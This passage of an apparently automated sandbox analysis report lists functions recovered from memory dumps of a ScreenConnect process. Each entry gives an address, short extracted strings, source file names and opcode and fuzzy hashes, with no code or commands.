$]q, xrefs: 01BC5431

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 675c2325fe958ecaaa79563337925dee7231318e4c2aeb7c2e72ea9f4aa8a88b
Instruction ID: ce98491961edd4242f48e0e7cee3280e4bdda14545528ce805ac16812f667f8a
Opcode Fuzzy Hash: 675c2325fe958ecaaa79563337925dee7231318e4c2aeb7c2e72ea9f4aa8a88b
Instruction Fuzzy Hash: ABD05E307802088F973CCE2DD98091173E8FF44E023A104E9DA458B23ACB20FC41C755

Function 01BCFB40 Relevance: 1.6, Strings: 1, Instructions: 315COMMON

Download Yara Rule

Strings

d, xrefs: 01BCFB83

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: f561c61c4aecabe9c70de33462d83505726ce6b296ecbd6a57a317b6c013e7de
Instruction ID: 76f83f3c8e8cb7c2b8970307483ffafcfe7dffc33ad5ef1dd877db7696ad5029
Opcode Fuzzy Hash: f561c61c4aecabe9c70de33462d83505726ce6b296ecbd6a57a317b6c013e7de
Instruction Fuzzy Hash: 79D17374A40715CFCB08DF68D884A99B7B6FF49710B1186A9E919AB365DB30FC85CF80

Function 01BC8D98 Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

(aq, xrefs: 01BC8DBA

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: aa797ab6a931d68e890d13a6239695bd4f1d597aefb1d05e36b5d7b206200f17
Instruction ID: 0da3159117cb81bcebac55ec424162c30dd6a41f7114095c5798a01b33035445
Opcode Fuzzy Hash: aa797ab6a931d68e890d13a6239695bd4f1d597aefb1d05e36b5d7b206200f17
Instruction Fuzzy Hash: 7C611834B102159FDB18DF68D99496EB7B6FF8D715B1090A8E506AB365DB30EC02DF40

Function 01BCAAA0 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

LR]q, xrefs: 01BCAC2B

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: be793ff7c78155e66e9cf459a48484f74916b7dce1045d982b7c9017c1d86bef
Instruction ID: 12e103d78737e5db608518c800da1ca0389fbc04f36b347c6c7245c63793b75b
Opcode Fuzzy Hash: be793ff7c78155e66e9cf459a48484f74916b7dce1045d982b7c9017c1d86bef
Instruction Fuzzy Hash: 5E51D430B002169FDB299B78D85476EBBE2FF84B11F1489ADE846DB291EB349C85C741

Function 01BCC6F0 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

$]q, xrefs: 01BCC841

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: f06f809a23e595e801ef04a55bc5119596f8be791c3091ad73c6353b0f011a2b
Instruction ID: 0cbdbc56cf0ab8ac5f72c6ecc363af4678359723c3d865f9a3924bddd8dbe8b1
Opcode Fuzzy Hash: f06f809a23e595e801ef04a55bc5119596f8be791c3091ad73c6353b0f011a2b
Instruction Fuzzy Hash: 92517130A0071ACFDB19DFB8C458A6DBBB1FF54704F1085ADD419AB265EB74D885CB80

Function 01BC5DF0 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

nCuq, xrefs: 01BC5ED1

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: nCuq
API String ID: 0-4247494828
Opcode ID: 2d49dc8a8b0990eccfacacf4b9eef2257efab7bac2c1e5dbeb09f150f4b6f8bb
Instruction ID: acc01ff868e218fcc2dbb0782ad557bb331195fea1b1dbd891439ef1613bc64f
Opcode Fuzzy Hash: 2d49dc8a8b0990eccfacacf4b9eef2257efab7bac2c1e5dbeb09f150f4b6f8bb
Instruction Fuzzy Hash: 8B518230B402068FDB2DEB39D954A6E77E6EF88A14B1044B8E506DB365EF74EC05CB91

Function 01BC5DE0 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

nCuq, xrefs: 01BC5ED1

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: nCuq
API String ID: 0-4247494828
Opcode ID: 7d0c4d942ac2b3796dacae273d771b7d928ff4ebf3c48ef2ceab2ec9c9f15376
Instruction ID: 74653fdacfd3fef63d6d8e3d4d77824042828648a3f3465912c1b56e01c95576
Opcode Fuzzy Hash: 7d0c4d942ac2b3796dacae273d771b7d928ff4ebf3c48ef2ceab2ec9c9f15376
Instruction Fuzzy Hash: 12515F70B402068FDB29EB39D554A6E77E6EF88A00B1444BCE506DB365EF74EC06CB91

Function 01BC7E50 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

(aq, xrefs: 01BC7E71

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 906dcc91ff85ef1581b75ef4370ee37bf317699dbc51cb3619affe9ae6cb2afd
Instruction ID: 52e2e9c629190360d5068597ece2fef947ad29167a2bbc8f1ba41d7153858b13
Opcode Fuzzy Hash: 906dcc91ff85ef1581b75ef4370ee37bf317699dbc51cb3619affe9ae6cb2afd
Instruction Fuzzy Hash: D941B131A0010ACBCB19EF69D494AADBBB6FF84710F14C569D9059B35ADF35E80ACF90

Function 01BC6FE8 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

(, xrefs: 01BC70FE

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-1334834377
Opcode ID: ab5b919424c7eb2ddc321c3a1d6e05bbfb9da6fe00ae776df90cf523ef414b9e
Instruction ID: 18066f1bf5ce588e9ea997821a6404d76db779c5bcd9fdc72f3a43994eca004c
Opcode Fuzzy Hash: ab5b919424c7eb2ddc321c3a1d6e05bbfb9da6fe00ae776df90cf523ef414b9e
Instruction Fuzzy Hash: 28312531B002015B8B09AB7DA85095E7BEAFF8962070456B9D409DB359EF74ED09CBD1

Function 01BC6FF8 Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

(, xrefs: 01BC70FE

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-1334834377
Opcode ID: b1678e8c4b40c09673e9879107f4bd2ee7c9494eb0fa656c1ffa10ea13ef9b03
Instruction ID: 98ba23ae3589e491afe7f4847455a63e5f34509e4fa442d4d2139774ba28b697
Opcode Fuzzy Hash: b1678e8c4b40c09673e9879107f4bd2ee7c9494eb0fa656c1ffa10ea13ef9b03
Instruction Fuzzy Hash: 6C31F231B402024B8B09AB7DA85096EB7EAFFC8720700957DD409EB358EF74ED098BD1

Function 01BCE4F9 Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

LR]q, xrefs: 01BCE534

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 5440e4854295df79112e89e52ccb2556b4ac90fb047e3b721c02e099373c1213
Instruction ID: 3642d7cf01b438cd24e93bd9be7b57eb28b40b30e223dd194f99757111a9505d
Opcode Fuzzy Hash: 5440e4854295df79112e89e52ccb2556b4ac90fb047e3b721c02e099373c1213
Instruction Fuzzy Hash: D921F731B00104DBDB18AE6AC855BAE7EB6FBD8B10F08446CF106A7290EF709C41C751

Function 01BC5400 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

$]q, xrefs: 01BC5425

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 8aa92eeaee070e2053cc22bca615838de9f52eb05b41ddd663f9172139b6e482
Instruction ID: 349ff10f8876a3f611ea706fa8738dbbbc6000454415cc6415b95b21da1556ce
Opcode Fuzzy Hash: 8aa92eeaee070e2053cc22bca615838de9f52eb05b41ddd663f9172139b6e482
Instruction Fuzzy Hash: D7E0C270788241CFD73ACF2CD8919417BB4FF01A0235500EADA44CB273D321E842C701

Function 060D248D Relevance: .5, Instructions: 503COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6af1be79868dc8420ae03911f899637d88741be3f1c99b57d0da84b45002d3b3
Instruction ID: b0b6c81b3b60f04a0deebdc0c664cd063f0a6de32a458ebb8f765eef0e087500
Opcode Fuzzy Hash: 6af1be79868dc8420ae03911f899637d88741be3f1c99b57d0da84b45002d3b3
Instruction Fuzzy Hash: 51F0A032608384AFCB055B6898558693FAADE9B11030C48FFD149DF262DA26AC068791

Function 060D2444 Relevance: .5, Instructions: 497COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7278ef3413fbf991c1af62ffb5c1b550dd598cbde15e5e4d04ce7bbf0aa94979
Instruction ID: 4a3a651fa727b5dc037279daf68f645afaf19e3461e6a78cac9e5ff409c4f5de
Opcode Fuzzy Hash: 7278ef3413fbf991c1af62ffb5c1b550dd598cbde15e5e4d04ce7bbf0aa94979
Instruction Fuzzy Hash: 1F0147B3A0C3C05FC7024B2888615663FA6DF9711170D04EBC495CF2A3DA18D807C3E1

Function 060D0948 Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3301424241.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_60d0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31e5eaced66e10472ea0f76d2a6bf8e9606df5c56e01ad24a6370d2ffe469701
Instruction ID: ef2b68fb6dd0e3a5c282119008a9d99a3cde9f6762870bd4db0352adf4a00a90
Opcode Fuzzy Hash: 31e5eaced66e10472ea0f76d2a6bf8e9606df5c56e01ad24a6370d2ffe469701
Instruction Fuzzy Hash: 85F13935A10719CFCB54DF68C850A99BBF2FF89310F108699D549AB221EB70EE85CF81

Function 01BCD078 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 651967d57823df9ac3c9e3b7d92390e060426d11c514855094caecf83090ce7d
Instruction ID: 6b5c68384ba4f0f8ba1a1ca1f97129925250c3a497ba7c634a22e8603b21e2b9
Opcode Fuzzy Hash: 651967d57823df9ac3c9e3b7d92390e060426d11c514855094caecf83090ce7d
Instruction Fuzzy Hash: A0A12534B002058FDB18DFA8C594AADBBF6EF88710F1481A9E506AB364DB74EC45CF90

Function 01BCD069 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daeb3d7edfbcd3c5d4404cbe6c90c0b0aee8af3ffc9fb2e70caabe2bd089e466
Instruction ID: ecf8d955c84bce19738f8a0432fcca553fb6409eeb9b173284c11133ff391110
Opcode Fuzzy Hash: daeb3d7edfbcd3c5d4404cbe6c90c0b0aee8af3ffc9fb2e70caabe2bd089e466
Instruction Fuzzy Hash: D1A12934B402058FDB18DFA8C594A9DBBF6EF88710B1485A9E506EB364DB35EC46CF90

Function 01BCE308 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47a91f15804aa7dd34669ad42bbbf2d5bcf69ba9db828c13cc5289502df0657e
Instruction ID: 474f5814d2e8e8cbc0939567072028cc32fc032287e6380aeace1bd41605db98
Opcode Fuzzy Hash: 47a91f15804aa7dd34669ad42bbbf2d5bcf69ba9db828c13cc5289502df0657e
Instruction Fuzzy Hash: 0A518D34B002058FDB19DF6CD59496ABBEAFF8830471485ADE54ACB366DB34EC06CB91

Function 01BCDB98 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c493db03da99af4a86d6d20f1672d2777000dfd20d5fdbf901a1ca4818d84be
Instruction ID: 46dd3d24d4a6099872bec6ca96b81a47cba7784a8daf4c0f4ecbb1be4964b8c3
Opcode Fuzzy Hash: 8c493db03da99af4a86d6d20f1672d2777000dfd20d5fdbf901a1ca4818d84be
Instruction Fuzzy Hash: AF51E1746047408FC738DF69D880596BBF5EF86720B044AADD096CB6A6D734E90BCBC0

Function 01BCE318 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cf3780e77e27738dfa771879c0953085beb18edc964598974a2f44b84c76ab4
Instruction ID: 13d73acf7a71b3cbac2fe997977012b6f9048cdd45aa6864c7d857a993425a6f
Opcode Fuzzy Hash: 2cf3780e77e27738dfa771879c0953085beb18edc964598974a2f44b84c76ab4
Instruction Fuzzy Hash: 20514D34B002058FDB18DF6CD99492ABBEAFF8830471485A9E54ADB365DB74EC06CB91

Function 01BC84A0 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f1554ce19558ee06d21f885e69ca81641b94670272cf18be9ac406ab3071414
Instruction ID: f97aaace72217b711728769d70ae60d5e22dcfc9ded9937dd8dca03d5395dfad
Opcode Fuzzy Hash: 1f1554ce19558ee06d21f885e69ca81641b94670272cf18be9ac406ab3071414
Instruction Fuzzy Hash: 65512A34600601CFD728DF29D98495AB7F2FF8D725B245A6CE49A9B7A4DB31F806CB40

Function 01BCB2D0 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f322b0e2b305c50b0060923035d191f95b05035e1107ba891730787563a584ba
Instruction ID: 68c7384bbb72668babfe3baee2b73007768a8a1c8780f8ecd9d309a74a8c2f0b
Opcode Fuzzy Hash: f322b0e2b305c50b0060923035d191f95b05035e1107ba891730787563a584ba
Instruction Fuzzy Hash: 9C51BE30E403098FDB05DFB9D944B9DBBB5FF89300F1085A9E404BB295DB78A885CB90

Function 01BCB2C0 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7110ae4bccaed907d904e7cb14823a2e519c29a7a0a8921c98e754c3d3b5598e
Instruction ID: 61e1e16697e1aadc98f2f4b7fac9bdf4f0b30ac2f02566108ceca481929e7fd0
Opcode Fuzzy Hash: 7110ae4bccaed907d904e7cb14823a2e519c29a7a0a8921c98e754c3d3b5598e
Instruction Fuzzy Hash: 25518E70E403099FDB05DFA5D944BDDBBB5FF88300F5085A9E504BB254DB78A986CB50

Function 01BCEF67 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11402537694d019e7a54bc71f6723c06db1691064f6ed74b0bb12ff51d34a114
Instruction ID: 89fc0b654861719be2b440744e6162ec5a32d286bc14938ca096e8ce075833be
Opcode Fuzzy Hash: 11402537694d019e7a54bc71f6723c06db1691064f6ed74b0bb12ff51d34a114
Instruction Fuzzy Hash: C4415771E002199BDB18DFA5C980AEEBBF6FF89B00F14816DD505B7240DB74AD46CB91

Function 01BC9968 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a696733ccf2b95d50d6d764bd4fca705d9bfa921fc1f094cb17e8a056aa69818
Instruction ID: 9d1f65799c976b9beebe01b5720e59aba023aa3fa80bf4b0bb717c03f8e8a7ad
Opcode Fuzzy Hash: a696733ccf2b95d50d6d764bd4fca705d9bfa921fc1f094cb17e8a056aa69818
Instruction Fuzzy Hash: 27416B306102058FDB18DB69D854AADBBE6FF88B14B1485ADE406EB361DF74AD06CB90

Function 01BC7920 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0612417c65bd86e8eea313c1a23521f9f3007bb8b8a51fb1c2db4e45176684da
Instruction ID: 731472465718e80f1fef195a7a6363bb09cec299c3bbe9342ed3052193917c4e
Opcode Fuzzy Hash: 0612417c65bd86e8eea313c1a23521f9f3007bb8b8a51fb1c2db4e45176684da
Instruction Fuzzy Hash: A931AF30B102058FEB189FA9C4546AEFBF6EF89754F1094AEE506E7264DF70DD018B90

Function 01BC9978 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb4d75c0887641fbc387a07bfdf49edf7d7f96b5208b1b8903007cdef8a7721a
Instruction ID: 48c571cabd9c325a35f1965b2131beb2cc5f2a44a6e2253c9b4ebd1a675b5839
Opcode Fuzzy Hash: eb4d75c0887641fbc387a07bfdf49edf7d7f96b5208b1b8903007cdef8a7721a
Instruction Fuzzy Hash: B94129307102158FDB18DB69D854AADBBE6EF88B14B1485ADE406EB3A0DF74AD05CB90

Function 01BCEB11 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26ee45c2422ac6aafc445fcd05f936485ca030ccabe12b80a907635e934f900a
Instruction ID: bb9effb444759af30e81b1039e9ddc96392c4b4fd9ac0db036f40d43f6c55499
Opcode Fuzzy Hash: 26ee45c2422ac6aafc445fcd05f936485ca030ccabe12b80a907635e934f900a
Instruction Fuzzy Hash: A121F7716092809FD70AC728D491A95BF65EF57324B29C0DFD485CF1A3C72AD807C751

Function 01BC6568 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a24cb2ca5302615f0ed0d0c1b3d96d6824c3cf3dd5d0a7a41b3861c14a648165
Instruction ID: 4312b8f6a43f2b00329acf1a6e1006b93999601c52eaf71e1060b808b5df72ac
Opcode Fuzzy Hash: a24cb2ca5302615f0ed0d0c1b3d96d6824c3cf3dd5d0a7a41b3861c14a648165
Instruction Fuzzy Hash: CE313A30A007058FD734DF2AC844A6ABBF5EF89714B144A6CE456DB7A5D730E946CF80

Function 01BC52F8 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d62e4addb06599feca7168709c6c1ee9caaee34713483c09191c5b11e1b8a377
Instruction ID: 5f976864840615fa2e968a12d55ad74b69c30f07629826d4c80b6ca820ad8776
Opcode Fuzzy Hash: d62e4addb06599feca7168709c6c1ee9caaee34713483c09191c5b11e1b8a377
Instruction Fuzzy Hash: FB318BB1D002099FCB18DFA9C444AEEBFF5EF88310F10846ED549A7251DB78A945CFA4

Function 01BCDC18 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8431336a2b0b111160da38b877fb8a0f82e369978c716ebe0371aff72159e4f0
Instruction ID: 670876a6646b1f9c7e9fce81c1bb0c72215abaa347bec6330cbb5214be3bed77
Opcode Fuzzy Hash: 8431336a2b0b111160da38b877fb8a0f82e369978c716ebe0371aff72159e4f0
Instruction Fuzzy Hash: EC313934A00B058FC734DF6AD84466ABBF1EF89720B104B6DD0969B6A5D770E94ACFC0

Function 01BC90A8 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f1cfb05b9e45ea2cb7f3cd8fea380f97402f821a9ec997f76e39ec00b8b1f2b
Instruction ID: 340f82ca2a9d71a1c587a883f354261075c39ffbff40ba24b7ec42d2ce8d508d
Opcode Fuzzy Hash: 6f1cfb05b9e45ea2cb7f3cd8fea380f97402f821a9ec997f76e39ec00b8b1f2b
Instruction Fuzzy Hash: 55317E30600701CFD734DF29D88896AB7F1EF89B14B144A5CD456DB3A4D730E906CB91

Function 01BCDDC0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5860ccc90d60d90f12870a81d279c9df43d09a04ea006e4694827c1520ff9e2c
Instruction ID: 103222c0ab59aad55f1dca024553b79813be87190a217583870d02c82879bfd3
Opcode Fuzzy Hash: 5860ccc90d60d90f12870a81d279c9df43d09a04ea006e4694827c1520ff9e2c
Instruction Fuzzy Hash: 9D3109346007018FDB34DF6AC84466ABBF1EF99720B104A6DD5569B7A5D730E946CFC0

Function 01BC36B0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ae19061bbba420e3acac56a1c077d15eb27b537371da2095a95e40baabf3cb1
Instruction ID: 37cb6febaec906ffe250be3753c09c7352d9492583d713c1cc1b084b3a77b491
Opcode Fuzzy Hash: 9ae19061bbba420e3acac56a1c077d15eb27b537371da2095a95e40baabf3cb1
Instruction Fuzzy Hash: 63313E30A00245CFCB19EF74D94886EBBB5FF09316B1086EAD919CB2A2CB34AD01CB51

Function 01BC36A0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 302a912c8875c19e9af85aa616509c844aa24daa43639f9117957346695f0394
Instruction ID: 182db8dc131af58b84c5d1e1cdc3bdfc75546c282388b0fbfaf62bdba1fb4626
Opcode Fuzzy Hash: 302a912c8875c19e9af85aa616509c844aa24daa43639f9117957346695f0394
Instruction Fuzzy Hash: 4F213172A04201CFCF289F78D99856ABBF4FF4672574482AED41A872A6DB309802CB51

Function 01BC8C20 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3289406615.0000000001BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1bc0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adde603b9fb62feee559975771c63714999b66ae5ba63482342fa341dd5bdab1
Instruction ID: 7d7954bfba48e9e2d4fe2f8ae114d417af2f036f4b5cd1894699bd6aa9e0b6d5
